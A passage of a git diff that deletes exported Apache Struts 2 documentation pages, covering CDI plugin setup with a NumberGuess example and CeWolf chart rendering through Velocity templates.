-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27842284">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27842284">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27842284">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974266631 {padding: 0px;}
-div.rbtoc1488974266631 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488974266631 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974266631">
-<ul class="toc-indentation"><li><a shape="rect" href="#CDIPlugin-Overview">Overview</a></li><li><a shape="rect" href="#CDIPlugin-Setup">Setup</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#CDIPlugin-MavenSetup">Maven Setup</a></li><li><a shape="rect" href="#CDIPlugin-ManualIntegration">Manual Integration</a></li><li><a shape="rect" href="#CDIPlugin-Configuration">Configuration</a></li></ul>
-</li><li><a shape="rect" href="#CDIPlugin-Usage">Usage</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#CDIPlugin-ExampleUsage">Example Usage</a></li></ul>
-</li></ul>
-</div>
-
-<h1 id="CDIPlugin-Overview">Overview</h1>
-
-<p>CDI - short for Contexts and Dependency Injection - is the new standard for Java EE (though not limited to it) dependency injection frameworks. It was introduced as <a shape="rect" class="external-link" href="http://jcp.org/en/jsr/summary?id=299" rel="nofollow">JSR 299</a>, being a part of the <a shape="rect" class="external-link" href="http://jcp.org/en/jsr/detail?id=316" rel="nofollow">Java EE 6</a> umbrella specification. It is also important to note that it builds on top of JSR 33 [...]
-
-<p>It can be used as standalone solution packed with your web applications to run in lightweight servlet containers such as Apache Tomcat or Jetty, utilizing standalone CDI implementations such as <a shape="rect" class="external-link" href="http://seamframework.org/Weld" rel="nofollow">JBoss Weld</a> (the JSR 299 reference implementation) or <a shape="rect" class="external-link" href="http://openwebbeans.apache.org/">Apache OpenWebBeans</a>. On the other hand, each JEE 6 compliant applic [...]
-
-<p>With the Struts 2 CDI plugin, your application is open to be embedded into this modern, comprehensive and type safe framework and take full use of it.</p>
-
-<h1 id="CDIPlugin-Setup">Setup</h1>
-
-<p>As with all Struts 2 plugins, usage of the CDI plugin is as easy as delivering the right jars with your web application. The plugin then registers itself as the standard ObjectFactory for your Struts 2 application.</p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">Don't mess up Object Factory Providers</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Struts 2 delivers integration into all relevant dependency injection containers via plugins, such as the <a shape="rect" href="spring-plugin.html">Spring Plugin</a> or the externally provided <a shape="rect" class="external-link" href="http://code.google.com/p/google-guice/wiki/Struts2Integration" rel="nofollow">Guice Struts 2 Plugin</a>. Be aware that the central feature of all those, as well as the CDI plugin, is to register itself as Struts 2 Object factory. Usually you will want t [...]
-
-<h2 id="CDIPlugin-MavenSetup">Maven Setup</h2>
-
-<p>The most easy and recommended way use is to simply add a maven dependency for it, along with a dependency to the CDI API for development time usage:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>pom.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependencies&gt;
-    ...
-    &lt;dependency&gt;
-        &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-        &lt;artifactId&gt;struts2-cdi-plugin&lt;/artifactId&gt;
-        &lt;version&gt;${struts2.version}&lt;/version&gt;
-    &lt;/dependency&gt;
-    &lt;dependency&gt;
-        &lt;groupId&gt;javax.enterprise&lt;/groupId&gt;
-        &lt;artifactId&gt;cdi-api&lt;/artifactId&gt;
-        &lt;version&gt;1.0-SP1&lt;/version&gt;
-        &lt;scope&gt;provided&lt;/scope&gt;
-    &lt;/dependency&gt;
-    ...
-&lt;/dependencies&gt;
-</pre>
-</div></div>
-
-<p>whereas </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">${struts2.version}</pre>
-</div></div>
-<p> should be set either as a property in your pom (recommended) or substituted by a concrete version information, such as 2.3.2 by the time of writing of this document. If you want to use CDI without an application server providing it, you may also want to add a dependency to a CDI implementation of your choice, for example Weld:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>pom.xml with CDI implementation</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependencies&gt;
-    ...
-    &lt;dependency&gt;
-        &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-        &lt;artifactId&gt;struts2-cdi-plugin&lt;/artifactId&gt;
-        &lt;version&gt;${struts2.version}&lt;/version&gt;
-    &lt;/dependency&gt;
-    &lt;dependency&gt;
-        &lt;groupId&gt;javax.enterprise&lt;/groupId&gt;
-        &lt;artifactId&gt;cdi-api&lt;/artifactId&gt;
-        &lt;version&gt;1.0-SP1&lt;/version&gt;
-        &lt;scope&gt;provided&lt;/scope&gt;
-    &lt;/dependency&gt;
-    &lt;dependency&gt;
-        &lt;groupId&gt;org.jboss.weld&lt;/groupId&gt;
-        &lt;artifactId&gt;weld-core&lt;/artifactId&gt;
-        &lt;version&gt;1.0.1-Final&lt;/version&gt;
-    &lt;/dependency&gt;
-    &lt;dependency&gt;
-        &lt;groupId&gt;org.jboss.weld&lt;/groupId&gt;
-        &lt;artifactId&gt;weld-se&lt;/artifactId&gt;
-        &lt;version&gt;1.0.1-Final&lt;/version&gt;
-    &lt;/dependency&gt;
-    ...
-&lt;/dependencies&gt;
-</pre>
-</div></div>
-
-<h2 id="CDIPlugin-ManualIntegration">Manual Integration</h2>
-
-<p>Ensure that the struts2-cdi-plugin jar matching your used Struts 2 framework version - it is part of the <a shape="rect" class="external-link" href="http://struts.apache.org/download.cgi">Struts 2 distribution</a> - is packed within the application archive that will be delivered. If a CDI implementation is provided within your container, no other dependencies are needed. If the latter is not the case, you may want to install a CDI container into your container (as commmon installation [...]
-
-<p>For IDE integration, be sure to add both the struts2-cdi-plugin-VERSION.jar as well as the cdi-api.jar to your project setup. Remember, the API jar should not be delivered with your application archive since you will have the API provided by the CDI container your application will be running with.</p>
-
-<h2 id="CDIPlugin-Configuration">Configuration</h2>
-
-<p>Not much to see here. The CDI specification requires the CDI container to be exposed via JNDI context, and the CDI plugin will pick it up just there. Nevertheless, since there are different JNDI namespaces in use, the plugin will try to automatically find the right one among known references, that is</p>
-
-<ul><li>java:comp/BeanManager as the CDI docs point out</li><li>java:app/BeanManager as the Weld docs point out</li><li>java:comp/env/BeanManager for containers limited to that namespace, such as tomcat</li></ul>
-
-
-<p>If your container of choice uses other naming references, the plugin has a single configuration option to point to the right name. Just add a constant like this to your struts.xml to be on the happy path again:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-    &lt;constant name="struts.objectFactory.cdi.jndiKey" value="java:comp/some/weird/BeanManagerReference" /&gt;
-</pre>
-</div></div>
-
-<h1 id="CDIPlugin-Usage">Usage</h1>
-
-<p>CDI has an extremely rich feature set, and this section is not intended as a replacement for the CDI reference documentation or the excellent documentation found on the <a shape="rect" class="external-link" href="http://seamframework.org/Weld" rel="nofollow">JBoss Weld</a> homepage. The whole Struts 2 CDI integration works just as you would think it works, using JSR-299 and JSR-330 Annotations in your Struts 2 actions or interceptors. Be aware of the following, though:</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Remember to provide beans.xml</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>CDI is designed to act in a type safe and modern way, thus using annotations for all aspects of the framework. Nevertheless, you are allowed to eternalize configuration into a XML file called beans.xml to be placed in your WEB-INF directory. Even if you don't intend to use such external configuration, it is an <strong>inevitable requirement to provide at least an empty beans.xml in WEB-INF !</strong></p></div></div>
-
-<h2 id="CDIPlugin-ExampleUsage">Example Usage</h2>
-
-<p>Implement your Struts 2 actions or interceptors just as usual, enriched with CDI and @Inject annotations:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>NumberGuess.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.apache.struts2.example.cdi;
-
-import com.opensymphony.xwork2.ActionSupport;
-import javax.inject.Inject;
-
-public class NumberGuess extends ActionSupport {
-
-    @Inject
-    Game game;
-
-    public Game getGame() {
-        return game;
-    }
-
-    @Override
-    public String execute() throws Exception {
-        return SUCCESS;
-    }
-
-    public String guess() throws Exception {
-        final String errorMessage = game.check();
-        addActionError(errorMessage);
-
-        if (Game.CORRECT.equals(errorMessage)) {
-            game.reset();
-        } else if (game.getRemainingGuesses() == 0) {
-            addActionError("The correct guess was " + game.getGuess() + ". Game is reset.");
-            game.reset();
-        }
-
-
-        return SUCCESS;
-    }
-
-
-}
-</pre>
-</div></div>
-
-<p>See the @Inject annotation from javax.inject.Inject? While you could use all the other nice stuff, we usually would - following the separation of concerns principle - use @Inject most of the time only in our actions, keeping the more fancy stuff in the business layer as shown below. Using @Inject brings us to the most common pitfall when using Struts 2 together with JSR-330 / CDI:</p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">Use the right @Inject</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Struts 2 and it's core component XWork use it's own internal dependency injection container. Interestingly, you could name it JSR-330's grandma, since it is an early pre-release version of <a shape="rect" class="external-link" href="http://code.google.com/p/google-guice/" rel="nofollow">Google Guice</a> once developed by <a shape="rect" class="external-link" href="http://blog.crazybob.org/" rel="nofollow">Crazybob Lee</a> - the same Bob Lee that, together with SpringSource's Rod Johns [...]
-
-<p>That said, you will find the @Inject annotation both as <code>com.opensymphony.xwork2.inject.Inject</code> and <code>javax.inject.Inject</code>. <strong>Don't mix up those two - <code>javax.inject.Inject</code> is the one you want to use with your Struts 2 CDI plugin and CDI integration in general!</strong> While you could use Struts' internal annotation as well, the effect may be strange to undefined - so check your imports!</p></div></div>
-
-<p>Now that you are aware of that, here is the rest of the inevitable NumberGuess CDI example in Struts 2 flavour. Add a JSP view similar to this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ page contentType="text/html; charset=UTF-8" %&gt;
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Numberguess&lt;/title&gt;
-&lt;/head&gt;
-
-&lt;body&gt;
-&lt;h2&gt;Numberguess Game - Struts 2 CDI Example&lt;/h2&gt;
-
-&lt;h3&gt;I've picked a number between &lt;s:property value="game.smallest"/&gt; and &lt;s:property value="game.biggest"/&gt;.
-    You have &lt;s:property value="game.remainingGuesses"/&gt;remaining guesses.&lt;/h3&gt;
-
-&lt;s:form action="guess"&gt;
-    &lt;s:textfield name="game.guess" label="Your Guess"/&gt;
-    &lt;s:submit/&gt;
-&lt;/s:form&gt;
-&lt;p/&gt;
-&lt;s:actionerror/&gt;
-
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-
-<p>along - if not using the fabulous and recommended Struts 2 <a shape="rect" href="convention-plugin.html">Convention Plugin</a> - with a struts.xml like this</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE struts PUBLIC
-          "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"       
-          "http://struts.apache.org/dtds/struts-2.3.dtd"&gt;
-&lt;struts&gt;
-  &lt;constant name="struts.enable.DynamicMethodInvocation" value="false"/&gt;
-  &lt;constant name="struts.devMode" value="true"/&gt;
-  
-    &lt;package name="numberguess" extends="struts-default"&gt;
-
-        &lt;action name="NumberGuess" class="org.apache.struts2.example.cdi.NumberGuess"&gt;
-            &lt;result&gt;/WEB-INF/pages/NumberGuess.jsp&lt;/result&gt;
-        &lt;/action&gt;
-
-        &lt;action name="guess" class="org.apache.struts2.example.cdi.NumberGuess" method="guess"&gt;
-            &lt;result&gt;/WEB-INF/pages/NumberGuess.jsp&lt;/result&gt;
-        &lt;/action&gt;
-
-    &lt;/package&gt;
-
-&lt;/struts&gt;
-</pre>
-</div></div>
-
-<p>Now you can add the business logic we want to be managed and injected by CDI. Start with two qualifier annotations:</p>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.apache.struts2.example.cdi;
-
-import javax.inject.Qualifier;
-import java.lang.annotation.Documented;
-import static java.lang.annotation.ElementType.*;
-import java.lang.annotation.Retention;
-import static java.lang.annotation.RetentionPolicy.RUNTIME;
-import java.lang.annotation.Target;
-
-@Target( { TYPE, METHOD, PARAMETER, FIELD })
-@Retention(RUNTIME)
-@Documented
-@Qualifier
-public @interface Random {}
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.apache.struts2.example.cdi;
-
-import javax.inject.Qualifier;
-import java.lang.annotation.Documented;
-import static java.lang.annotation.ElementType.*;
-import java.lang.annotation.Retention;
-import static java.lang.annotation.RetentionPolicy.RUNTIME;
-import java.lang.annotation.Target;
-
-@Target( { TYPE, METHOD, PARAMETER, FIELD })
-@Retention(RUNTIME)
-@Documented
-@Qualifier
-public @interface MaxNumber {}
-</pre>
-</div></div>
-
-<p>Now on to the actual business beans, the Game and the Generator bean:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.apache.struts2.example.cdi;
-
-import javax.annotation.PostConstruct;
-import javax.enterprise.context.SessionScoped;
-import javax.enterprise.inject.Instance;
-import javax.inject.Inject;
-import javax.inject.Named;
-import java.io.Serializable;
-
-@Named
-@SessionScoped
-public class Game implements Serializable {
-
-    public static final String CORRECT = "Correct !!!";
-    public static final String WRONG = "Sorry, wrong number !!!";
-
-    private int number;
-    private int guess;
-    private int smallest;
-
-    @MaxNumber
-    @Inject
-    private int maxNumber;
-
-    private int biggest;
-    private int remainingGuesses;
-
-    @Random
-    @Inject
-    Instance&lt;Integer&gt; randomNumber;
-
-    public Game() {
-    }
-
-    public int getNumber() {
-        return number;
-    }
-
-    public int getGuess() {
-        return guess;
-    }
-
-    public void setGuess( int guess ) {
-        this.guess = guess;
-    }
-
-    public int getSmallest() {
-        return smallest;
-    }
-
-    public int getBiggest() {
-        return biggest;
-    }
-
-    public int getRemainingGuesses() {
-        return remainingGuesses;
-    }
-
-    public String check() throws InterruptedException {
-        if (guess &gt; number) {
-            biggest = guess - 1;
-        }
-        if (guess &lt; number) {
-            smallest = guess + 1;
-        }
-        if (guess == number) {
-            return CORRECT;
-        }
-        remainingGuesses--;
-        return WRONG;
-    }
-
-    @PostConstruct
-    public void reset() {
-        this.smallest = 0;
-        this.guess = 0;
-        this.remainingGuesses = 10;
-        this.biggest = maxNumber;
-        this.number = randomNumber.get();
-    }
-
-}
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package org.apache.struts2.example.cdi;
-
-import javax.enterprise.context.ApplicationScoped;
-import javax.enterprise.inject.Produces;
-import java.io.Serializable;
-
-@ApplicationScoped
-public class Generator implements Serializable {
-   
-   private java.util.Random random = new java.util.Random( System.currentTimeMillis() );
-   
-   private int maxNumber = 100;
-   
-   java.util.Random getRandom() {
-      return random;
-   }
-   
-   @Produces @Random int next() { 
-      return getRandom().nextInt(maxNumber); 
-   }
-   
-   @Produces @MaxNumber int getMaxNumber() {
-      return maxNumber;
-   }
-
-} 
-</pre>
-</div></div>
-
-<p>If you understand that code at a glance, you are either already an CDI expert or profit from the readable, natural language oriented way the CDI stack works. If neither of this is the case, now it's time to check the CDI and Weld documentation. Remember, this is a trivial example - there is much more to know about CDI.</p>
-
-<p>Ready you are now - use the Force!</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cewolf-charts-using-velocity-templates.html b/content/docs/cewolf-charts-using-velocity-templates.html
deleted file mode 100644
index 23ca7fa..0000000
--- a/content/docs/cewolf-charts-using-velocity-templates.html
+++ /dev/null
@@ -1,257 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>CeWolf charts using Velocity templates</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="velocity.html">Velocity</a>&nbsp;&gt;&nbsp;<a href="cewolf-charts-using-velocity-templates.html">CeWolf charts using Velocity templates</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">CeWolf charts using Velocity templates</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13816">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13816">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13816">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13816">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13816">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13816">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h2 id="CeWolfchartsusingVelocitytemplates-SetupCeWolf">Setup CeWolf</h2>
-<p><strong>This currently only works with the most recent CVS version of WebWork but should be available in the upcoming 2.0 beta2</strong></p>
-<ol><li>Go to <a shape="rect" class="external-link" href="http://cewolf.sourceforge.net" rel="nofollow">http://cewolf.sourceforge.net</a> and grab a stable release of CeWolf (at the time of writing, the unstable builds do not work with WebWork).</li><li>Edit your webwork.properties file and add "de.laures.cewolf.taglib.tags" to the  property "webwork.velocity.tag.path"</li></ol>
-
-
-<p>Lastly add the CeWolf servlet to web.xml:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;servlet&gt;
-    &lt;servlet-name&gt;CewolfServlet&lt;/servlet-name&gt;
-    &lt;servlet-class&gt;de.laures.cewolf.CewolfRenderer&lt;/servlet-class&gt;
-&lt;/servlet&gt;
-
-&lt;servlet-mapping&gt;
-    &lt;servlet-name&gt;CewolfServlet&lt;/servlet-name&gt;
-    &lt;url-pattern&gt;/cewolf/*&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt;
-</pre>
-</div></div>
-<h2 id="CeWolfchartsusingVelocitytemplates-CreateaDatasetProducer">Create a DatasetProducer</h2>
-<p>This is the default DatasetProducer from the CeWolf tutorial.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import java.io.Serializable;
-import java.util.Date;
-import java.util.Map;
-
-import org.jfree.data.DefaultCategoryDataset;
-
-import de.laures.cewolf.DatasetProduceException;
-import de.laures.cewolf.DatasetProducer;
-
-public class PageViewCountData implements DatasetProducer, Serializable {
-
-	// These values would normally not be hard coded but produced by
-	// some kind of data source like a database or a file
-	private final String[] categories =    {"mon", "tue", "wen", "thu", "fri", "sat", "sun"};
-	private final String[] seriesNames =    {"cewolfset.jsp", "tutorial.jsp", "testpage.jsp", "performancetest.jsp"};
-	private final Integer[] [] values = new Integer[OS:seriesNames.length] [OS:categories.length];
-
-	public Object produceDataset(Map params) throws DatasetProduceException {
-		DefaultCategoryDataset dataset = new DefaultCategoryDataset();
-		for (int series = 0; series &lt; seriesNames.length; series ++) {
-			int lastY = (int)(Math.random() * 1000 + 1000);
-			for (int i = 0; i &lt; categories.length; i++) {
-				final int y = lastY + (int)(Math.random() * 200 - 100);
-				lastY = y;
-				dataset.addValue((double)y, seriesNames[OS:series], categories[i]);
-			}
-		}
-		return dataset;
-	}
-
-	public boolean hasExpired(Map params, Date since) {		
-		return (System.currentTimeMillis() - since.getTime())  &gt; 5000;
-	}
-
-	public String getProducerId() {
-		return "PageViewCountData DatasetProducer";
-	}
-}
-</pre>
-</div></div>
-<h2 id="CeWolfchartsusingVelocitytemplates-CreatetheVelocitytemplate">Create the Velocity template</h2>
-<p>With the new WebWork refactorings, nested JSP tags with arbitrary parameters can be used, so we convert the CeWolf tutorial JSP script to Velocity.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;jsp:useBean id="pageViews" class="de.laures.cewolf.example.PageViewCountData"/&gt;
-&lt;cewolf:chart 
-    id="line" 
-    title="Page View Statistics" 
-    type="line" 
-    xaxislabel="Page" 
-    yaxislabel="Views"&gt;
-    &lt;cewolf:data&gt;
-        &lt;cewolf:producer id="pageViews"/&gt;
-    &lt;/cewolf:data&gt;
-&lt;/cewolf:chart&gt;
-
-&lt;cewolf:img chartid="line" renderer="cewolf" width="400" height="300"/&gt;
-</pre>
-</div></div>
-
-<p>In Velocity it looks like this:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-#set( $pageViews = $stack.findValue("new com.PageViewCountData()") )
-$req.session.setAttribute("pageViews", $pageViews ) 
-
-#bodytag( SimpleChart "id=line" "title=Page View Statistics" "type=line" "xaxislabel=Page" "yaxslabel=Views" )
-  #bodytag( Data )
-    #tag( Producer "id=pageViews" )
-  #end
-#end
-
-#tag( ChartImg "chartid=line" "renderer=cewolf" "width=400" "height=300" ) 
-</pre>
-</div></div>
-
-<p>As you may notice, CeWolf looks up it's DatasetProducer in the request attributes - it has no knowledge of the Velocity context. That's why we call $req.session.setAttribute(). The other attributes (such as the chartid) will be set by CeWolf, so we don't need to care about them.</p>
-<h2 id="CeWolfchartsusingVelocitytemplates-Setupanactiontodisplythetemplate">Setup an action to disply the template</h2>
-<p>Now you should be able to fire up an action in the usual way with this template as the result and a nice chart should appear.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/chain-result.html b/content/docs/chain-result.html
deleted file mode 100644
index b00f0aa..0000000
--- a/content/docs/chain-result.html
+++ /dev/null
@@ -1,191 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
